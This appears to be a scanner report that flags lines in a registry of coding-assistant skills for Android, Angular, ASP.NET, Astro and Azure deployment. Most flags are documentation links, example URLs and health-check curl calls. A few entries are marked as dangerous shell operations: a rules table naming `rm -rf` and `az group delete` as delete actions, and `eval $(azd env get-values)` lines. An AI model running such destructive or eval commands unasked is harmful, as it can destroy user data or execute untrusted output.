packages/autoskills/skills-registry/android-architecture-clean/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/topic/architecture](https://developer.android.com/topic/architecture)
  • Network accessline 4
    - [https://developer.android.com/topic/architecture/recommendations](https://developer.android.com/topic/architecture/recommendations)
  • Network accessline 5
    - [https://developer.android.com/jetpack/guide](https://developer.android.com/jetpack/guide)
  • Network accessline 6
    - [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)

packages/autoskills/skills-registry/android-architecture-clean/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-compose-foundations/SKILL.md

  • Network accessline 61
    ## Official References - [https://developer.android.com/develop/ui/compose](https://developer.android.com/develop/ui/compose)
  • Network accessline 62
    - [https://developer.android.com/develop/ui/compose](https://developer.android.com/develop/ui/compose)
  • Network accessline 63
    - [https://developer.android.com/develop/ui/compose/layouts/basics](https://developer.android.com/develop/ui/compose/layouts/basics)
  • Network accessline 64
    - [https://developer.android.com/develop/ui/compose/modifiers](https://developer.android.com/develop/ui/compose/modifiers)
  • Network accessline 65
    - [https://developer.android.com/develop/ui/compose/designsystems/material3](https://developer.android.com/develop/ui/compose/designsystems/material3)

packages/autoskills/skills-registry/android-compose-foundations/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/develop/ui/compose](https://developer.android.com/develop/ui/compose)
  • Network accessline 4
    - [https://developer.android.com/develop/ui/compose/layouts/basics](https://developer.android.com/develop/ui/compose/layouts/basics)
  • Network accessline 5
    - [https://developer.android.com/develop/ui/compose/modifiers](https://developer.android.com/develop/ui/compose/modifiers)
  • Network accessline 6
    - [https://developer.android.com/develop/ui/compose/designsystems/material3](https://developer.android.com/develop/ui/compose/designsystems/material3)

packages/autoskills/skills-registry/android-compose-foundations/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-coroutines-flow/SKILL.md

  • Network accessline 91
    ## Official References - [https://developer.android.com/kotlin/coroutines](https://developer.android.com/kotlin/coroutines)
  • Network accessline 92
    - [https://developer.android.com/kotlin/coroutines](https://developer.android.com/kotlin/coroutines)
  • Network accessline 93
    - [https://developer.android.com/topic/libraries/architecture/coroutines](https://developer.android.com/topic/libraries/architecture/coroutines)
  • Network accessline 94
    - [https://kotlinlang.org/docs/coroutines-overview.html](https://kotlinlang.org/docs/coroutines-overview.html)
  • Network accessline 95
    - [https://kotlinlang.org/docs/flow.html](https://kotlinlang.org/docs/flow.html)

packages/autoskills/skills-registry/android-coroutines-flow/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/kotlin/coroutines](https://developer.android.com/kotlin/coroutines)
  • Network accessline 4
    - [https://developer.android.com/topic/libraries/architecture/coroutines](https://developer.android.com/topic/libraries/architecture/coroutines)
  • Network accessline 5
    - [https://kotlinlang.org/docs/coroutines-overview.html](https://kotlinlang.org/docs/coroutines-overview.html)
  • Network accessline 6
    - [https://kotlinlang.org/docs/flow.html](https://kotlinlang.org/docs/flow.html)

packages/autoskills/skills-registry/android-coroutines-flow/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-di-hilt/SKILL.md

  • Network accessline 68
    ## Official References - [https://developer.android.com/training/dependency-injection/hilt-android](https://developer.android.com/training/dependency-injection/hilt-android)
  • Network accessline 69
    - [https://developer.android.com/training/dependency-injection/hilt-android](https://developer.android.com/training/dependency-injection/hilt-android)
  • Network accessline 70
    - [https://developer.android.com/training/dependency-injection/hilt-testing](https://developer.android.com/training/dependency-injection/hilt-testing)
  • Network accessline 71
    - [https://developer.android.com/training/dependency-injection/hilt-multi-module](https://developer.android.com/training/dependency-injection/hilt-multi-module)
  • Network accessline 72
    - [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)
  • Network accessline 73
    - [https://developer.android.com/training/dependency-injection/manual](https://developer.android.com/training/dependency-injection/manual)

packages/autoskills/skills-registry/android-di-hilt/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/training/dependency-injection/hilt-android](https://developer.android.com/training/dependency-injection/hilt-android)
  • Network accessline 4
    - [https://developer.android.com/training/dependency-injection/hilt-testing](https://developer.android.com/training/dependency-injection/hilt-testing)
  • Network accessline 5
    - [https://developer.android.com/training/dependency-injection/hilt-multi-module](https://developer.android.com/training/dependency-injection/hilt-multi-module)
  • Network accessline 6
    - [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)
  • Network accessline 7
    - [https://developer.android.com/training/dependency-injection/manual](https://developer.android.com/training/dependency-injection/manual)

packages/autoskills/skills-registry/android-di-hilt/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-gradle-build-logic/SKILL.md

  • Network accessline 61
    ## Official References - [https://developer.android.com/build](https://developer.android.com/build)
  • Network accessline 62
    - [https://developer.android.com/build](https://developer.android.com/build)
  • Network accessline 63
    - [https://developer.android.com/build/releases/gradle-plugin](https://developer.android.com/build/releases/gradle-plugin)
  • Network accessline 64
    - [https://developer.android.com/build/migrate-to-built-in-kotlin](https://developer.android.com/build/migrate-to-built-in-kotlin)
  • Network accessline 65
    - [https://docs.gradle.org/current/userguide/userguide.html](https://docs.gradle.org/current/userguide/userguide.html)

packages/autoskills/skills-registry/android-gradle-build-logic/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/build](https://developer.android.com/build)
  • Network accessline 4
    - [https://developer.android.com/build/releases/gradle-plugin](https://developer.android.com/build/releases/gradle-plugin)
  • Network accessline 5
    - [https://developer.android.com/build/migrate-to-built-in-kotlin](https://developer.android.com/build/migrate-to-built-in-kotlin)
  • Network accessline 6
    - [https://docs.gradle.org/current/userguide/userguide.html](https://docs.gradle.org/current/userguide/userguide.html)

packages/autoskills/skills-registry/android-gradle-build-logic/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-kotlin-core/SKILL.md

  • Network accessline 61
    ## Official References - [https://developer.android.com/kotlin](https://developer.android.com/kotlin)
  • Network accessline 62
    - [https://developer.android.com/kotlin](https://developer.android.com/kotlin)
  • Network accessline 63
    - [https://developer.android.com/build/kotlin-support](https://developer.android.com/build/kotlin-support)
  • Network accessline 64
    - [https://kotlinlang.org/docs/coding-conventions.html](https://kotlinlang.org/docs/coding-conventions.html)
  • Network accessline 65
    - [https://kotlinlang.org/docs/null-safety.html](https://kotlinlang.org/docs/null-safety.html)

packages/autoskills/skills-registry/android-kotlin-core/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/kotlin](https://developer.android.com/kotlin)
  • Network accessline 4
    - [https://developer.android.com/build/kotlin-support](https://developer.android.com/build/kotlin-support)
  • Network accessline 5
    - [https://kotlinlang.org/docs/coding-conventions.html](https://kotlinlang.org/docs/coding-conventions.html)
  • Network accessline 6
    - [https://kotlinlang.org/docs/null-safety.html](https://kotlinlang.org/docs/null-safety.html)

packages/autoskills/skills-registry/android-kotlin-core/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-networking-retrofit-okhttp/SKILL.md

  • Network accessline 61
    ## Official References - [https://developer.android.com/develop/connectivity/network-ops/connecting](https://developer.android.com/develop/connectivity/network-ops/connecting)
  • Network accessline 62
    - [https://developer.android.com/develop/connectivity/network-ops/connecting](https://developer.android.com/develop/connectivity/network-ops/connecting)
  • Network accessline 63
    - [https://developer.android.com/topic/architecture/data-layer/offline-first](https://developer.android.com/topic/architecture/data-layer/offline-first)
  • Network accessline 64
    - [https://developer.android.com/training/volley](https://developer.android.com/training/volley)
  • Network accessline 65
    - [https://developer.android.com/training/articles/perf-anr](https://developer.android.com/training/articles/perf-anr)

packages/autoskills/skills-registry/android-networking-retrofit-okhttp/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/develop/connectivity/network-ops/connecting](https://developer.android.com/develop/connectivity/network-ops/connecting)
  • Network accessline 4
    - [https://developer.android.com/topic/architecture/data-layer/offline-first](https://developer.android.com/topic/architecture/data-layer/offline-first)
  • Network accessline 5
    - [https://developer.android.com/training/volley](https://developer.android.com/training/volley)
  • Network accessline 6
    - [https://developer.android.com/training/articles/perf-anr](https://developer.android.com/training/articles/perf-anr)

packages/autoskills/skills-registry/android-networking-retrofit-okhttp/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/android-testing-unit/SKILL.md

  • Network accessline 61
    ## Official References - [https://developer.android.com/training/testing/local-tests](https://developer.android.com/training/testing/local-tests)
  • Network accessline 62
    - [https://developer.android.com/training/testing/local-tests](https://developer.android.com/training/testing/local-tests)
  • Network accessline 63
    - [https://developer.android.com/training/testing/fundamentals](https://developer.android.com/training/testing/fundamentals)
  • Network accessline 64
    - [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)
  • Network accessline 65
    - [https://kotlinlang.org/docs/jvm-test-using-junit.html](https://kotlinlang.org/docs/jvm-test-using-junit.html)

packages/autoskills/skills-registry/android-testing-unit/references/official-links.md

  • Network accessline 3
    - [https://developer.android.com/training/testing/local-tests](https://developer.android.com/training/testing/local-tests)
  • Network accessline 4
    - [https://developer.android.com/training/testing/fundamentals](https://developer.android.com/training/testing/fundamentals)
  • Network accessline 5
    - [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)
  • Network accessline 6
    - [https://kotlinlang.org/docs/jvm-test-using-junit.html](https://kotlinlang.org/docs/jvm-test-using-junit.html)

packages/autoskills/skills-registry/android-testing-unit/scripts/run_examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/angular-developer/SKILL.md

  • Network accessline 56
    If you require deeper documentation not found in the references above, read the documentation at `https://angular.dev/guide/components`.
  • Network accessline 121
    If you require deeper documentation or more context, visit the [official Angular Routing guide](https://angular.dev/guide/routing).

packages/autoskills/skills-registry/angular-developer/references/cli.md

  • Network accessline 50
    {      "/api/**": {"target": "http://localhost:3000", "secure": false}
  • Network accessline 51
    "/api/**": {"target": "http://localhost:3000", "secure": false}

packages/autoskills/skills-registry/angular-developer/references/deferrable-views.md

  • Network accessline 39
    See [defer block triggers](https://angular.dev/guide/templates/defer#controlling-deferred-content-loading-with-triggers)

packages/autoskills/skills-registry/angular-developer/references/defining-providers.md

  • Network accessline 20
    export const APP_CONFIG = new InjectionToken<AppConfig>('app.config', {   providedIn: 'root',   factory: () => ({apiUrl: 'https://api.example.com'}),
  • Network accessline 21
    providedIn: 'root',   factory: () => ({apiUrl: 'https://api.example.com'}), });
  • Network accessline 22
    factory: () => ({apiUrl: 'https://api.example.com'}),
  • Network accessline 39
    // useValue: Provide static values     {provide: API_URL_TOKEN, useValue: 'https://api.example.com'},
  • Network accessline 40
    {provide: API_URL_TOKEN, useValue: 'https://api.example.com'},

packages/autoskills/skills-registry/angular-developer/references/environment-configuration.md

  • Network accessline 32
    // environment.ts export const environment = {   apiUrl: 'https://api.example.com',
  • Network accessline 33
    export const environment = {   apiUrl: 'https://api.example.com', };
  • Network accessline 34
    apiUrl: 'https://api.example.com',
  • Network accessline 39
    // environment.development.ts export const environment = {   apiUrl: 'http://localhost:3000',
  • Network accessline 40
    export const environment = {   apiUrl: 'http://localhost:3000', };
  • Network accessline 41
    apiUrl: 'http://localhost:3000',
  • Network accessline 73
    // src/assets/config.json {   "apiUrl": "https://api.example.com"
  • Network accessline 74
    {   "apiUrl": "https://api.example.com" }
  • Network accessline 75
    "apiUrl": "https://api.example.com"

packages/autoskills/skills-registry/angular-developer/references/mcp.md

  • Network accessline 17
    | `onpush_zoneless_migration` | Analyzes code and provides a plan to migrate it to `OnPush` change detection (prerequisite for zoneless). | | `run_target`                | Executes a configured target.                                       
  • Network accessline 19
    | `search_documentation`      | Searches the official documentation at `https://angular.dev`.                                             |

packages/autoskills/skills-registry/angular-developer/references/resource.md

  • Network accessline 23
    // Executes whenever params change     loader: async ({ params, abortSignal }) => {       const response = await fetch(`/api/users/${params.id}`, { signal: abortSignal });
  • Network accessline 24
    loader: async ({ params, abortSignal }) => {       const response = await fetch(`/api/users/${params.id}`, { signal: abortSignal });       if (!response.ok) throw new Error('Network error');
  • Network accessline 25
    const response = await fetch(`/api/users/${params.id}`, { signal: abortSignal });

packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/eager_loading.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/n_plus_one_fix_example.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/service_object.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/stimulus_controller.js

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/aspnet-core/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

packages/autoskills/skills-registry/aspnet-core/references/apis-minimal-and-controllers.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/web-api/
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/fundamentals/error-handling-api

packages/autoskills/skills-registry/aspnet-core/references/data-state-and-services.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/data/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/data/ - https://learn.microsoft.com/aspnet/core/fundamentals/dependency-injection - https://learn.microsoft.com/aspnet/core/fundamentals/http-requests
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/fundamentals/dependency-injection - https://learn.microsoft.com/aspnet/core/fundamentals/http-requests - https://learn.microsoft.com/aspnet/core/fundamentals/app-state
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/fundamentals/http-requests
  • Network accessline 7
    - https://learn.microsoft.com/aspnet/core/fundamentals/app-state

packages/autoskills/skills-registry/aspnet-core/references/program-and-pipeline.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/fundamentals/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/fundamentals/
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis/webapplication
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/fundamentals/middleware/
  • Network accessline 7
    - https://learn.microsoft.com/aspnet/core/fundamentals/configuration/

packages/autoskills/skills-registry/aspnet-core/references/realtime-grpc-and-background-work.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/signalr/introduction
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/signalr/introduction
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/grpc/
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/fundamentals/host/hosted-services

packages/autoskills/skills-registry/aspnet-core/references/security-and-identity.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/security/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/security/
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/security/authentication/identity
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/security/authorization/introduction

packages/autoskills/skills-registry/aspnet-core/references/source-map.md

  • Network accessline 7
    - https://learn.microsoft.com/aspnet/core/
  • Network accessline 8
    - https://raw.githubusercontent.com/dotnet/AspNetCore.Docs/main/aspnetcore/toc.yml
  • Network accessline 9
    - https://github.com/dotnet/AspNetCore.Docs/tree/main/aspnetcore

packages/autoskills/skills-registry/aspnet-core/references/stack-selection.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/blazor/
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/razor-pages/
  • Network accessline 7
    - https://learn.microsoft.com/aspnet/core/mvc/overview
  • Network accessline 8
    - https://learn.microsoft.com/aspnet/core/web-api/
  • Network accessline 9
    - https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis

packages/autoskills/skills-registry/aspnet-core/references/testing-performance-and-operations.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/test/integration-tests
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/test/integration-tests
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/host-and-deploy/
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/host-and-deploy/health-checks
  • Network accessline 7
    - https://learn.microsoft.com/aspnet/core/performance/

packages/autoskills/skills-registry/aspnet-core/references/ui-blazor.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/blazor/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/blazor/
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/blazor/fundamentals/
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/blazor/security/

packages/autoskills/skills-registry/aspnet-core/references/ui-mvc.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/mvc/overview
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/mvc/overview
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/mvc/controllers/
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/mvc/views/

packages/autoskills/skills-registry/aspnet-core/references/ui-razor-pages.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/razor-pages/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/razor-pages/
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/tutorials/razor-pages/

packages/autoskills/skills-registry/aspnet-core/references/versioning-and-upgrades.md

  • Network accessline 3
    Primary docs: - https://learn.microsoft.com/aspnet/core/release-notes/
  • Network accessline 4
    - https://learn.microsoft.com/aspnet/core/release-notes/
  • Network accessline 5
    - https://learn.microsoft.com/aspnet/core/release-notes/aspnetcore-10.0
  • Network accessline 6
    - https://learn.microsoft.com/aspnet/core/release-notes/aspnetcore-9.0
  • Network accessline 7
    - https://github.com/dotnet/AspNetCore.Docs/tree/main/aspnetcore/breaking-changes

packages/autoskills/skills-registry/astro/SKILL.md

  • Network accessline 12
    **Always consult [docs.astro.build](https://docs.astro.build) for code examples and latest API.**
  • Network accessline 35
    Reference [project structure docs](https://docs.astro.build/en/basics/project-structure).
  • Network accessline 60
    export default defineConfig({   site: 'https://example.com',
  • Network accessline 61
    site: 'https://example.com',
  • Network accessline 113
    **Add [Node.js](https://docs.astro.build/en/guides/integrations-guide/node) adapter using astro add:**
  • Network accessline 118
    **Add [Cloudflare](https://docs.astro.build/en/guides/integrations-guide/cloudflare) adapter using astro add:**
  • Network accessline 123
    **Add [Netlify](https://docs.astro.build/en/guides/integrations-guide/netlify) adapter using astro add:**
  • Network accessline 128
    **Add [Vercel](https://docs.astro.build/en/guides/integrations-guide/vercel) adapter using astro add:**
  • Network accessline 133
    [Other Community adapters](https://astro.build/integrations/2/?search=&categories%5B%5D=adapters)
  • Network accessline 137
    - [Docs](https://docs.astro.build)
  • Network accessline 138
    - [Config Reference](https://docs.astro.build/en/reference/configuration-reference/)
  • Network accessline 139
    - [llms.txt](https://docs.astro.build/llms.txt)
  • Network accessline 140
    - [GitHub](https://github.com/withastro/astro)

packages/autoskills/skills-registry/azure-ai/SKILL.md

  • Network accessline 70
    - AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search)
  • Network accessline 71
    - Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)

packages/autoskills/skills-registry/azure-ai/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

packages/autoskills/skills-registry/azure-ai/references/sdk/azure-ai-transcription-py.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]

packages/autoskills/skills-registry/azure-ai/references/sdk/azure-ai-translation-ts.md

  • Access to secretsline 14
    [Credential-related source omitted]

packages/autoskills/skills-registry/azure-deploy/SKILL.md

  • Network accessline 45
    > **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c
  • Network accessline 68
    | 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi
  • Network accessline 70
    | 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) |
  • Network accessline 72
    > **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands 
  • Network accessline 74
    > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with

packages/autoskills/skills-registry/azure-deploy/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

packages/autoskills/skills-registry/azure-deploy/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

packages/autoskills/skills-registry/azure-deploy/references/recipes/azcli/verify.md

  • Network accessline 10
    curl -s https://<endpoint>/health | jq .
  • Network accessline 39
    # Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN"
  • Network accessline 41
    echo "https://$FQDN"
  • Network accessline 43
    # App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 45
    echo "https://$HOSTNAME"
  • Network accessline 47
    # Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 49
    echo "https://$HOSTNAME"
  • Network accessline 54
    # Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn"
  • Network accessline 56
    Write-Output "https://$Fqdn"
  • Network accessline 58
    # App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname"
  • Network accessline 60
    Write-Output "https://$Hostname"
  • Network accessline 62
    # Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname"
  • Network accessline 64
    Write-Output "https://$Hostname"
  • Network accessline 67
    > ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`.
  • Network accessline 69
    Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/ef-migrations.md

  • Network accessline 146
    - [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
  • Network accessline 148
    - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/functions-deploy.md

  • Network accessline 73
    # Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 74
    curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 76
    # Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 77
    curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 79
    # Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 80
    curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 86
    # DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 87
    curl -I "https://<func-name>.azurewebsites.net/api/<route>"

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/post-deployment.md

  • Dangerous shell operationline 38
    eval $(azd env get-values)
  • Network accessline 78
    # Health check curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 79
    curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 81
    # Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
  • Network accessline 82
    curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh

  • Executable scriptline 1
    #!/bin/bash

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh

  • Executable scriptline 1
    #!/bin/bash

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/sql-managed-identity.md

  • Dangerous shell operationline 16
    eval $(azd env get-values)
  • Dangerous shell operationline 83
    eval $(azd env get-values)
  • Dangerous shell operationline 171
    eval $(azd env get-values)

packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/verify.md

  • Network accessline 14
    Resource Group: rg-myapp-dev   Services:     api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 16
    api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 25
    # Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 26
    curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 66
    | Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 68
    | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 70
    Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io
  • Network accessline 73
    > ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user.
  • Dangerous shell operationline 85
    eval $(azd env get-values)

packages/autoskills/skills-registry/azure-deploy/references/recipes/bicep/verify.md

  • Network accessline 18
    curl -s https://<endpoint>/health | jq .
  • Network accessline 31
    Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

packages/autoskills/skills-registry/azure-deploy/references/recipes/cicd/verify.md

  • Network accessline 16
    curl -s https://<endpoint>/health | jq .
  • Network accessline 23
    Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway

packages/autoskills/skills-registry/azure-deploy/references/recipes/terraform/README.md

  • Access to secretsline 18
    [Credential-related source omitted]

packages/autoskills/skills-registry/azure-deploy/references/recipes/terraform/errors.md

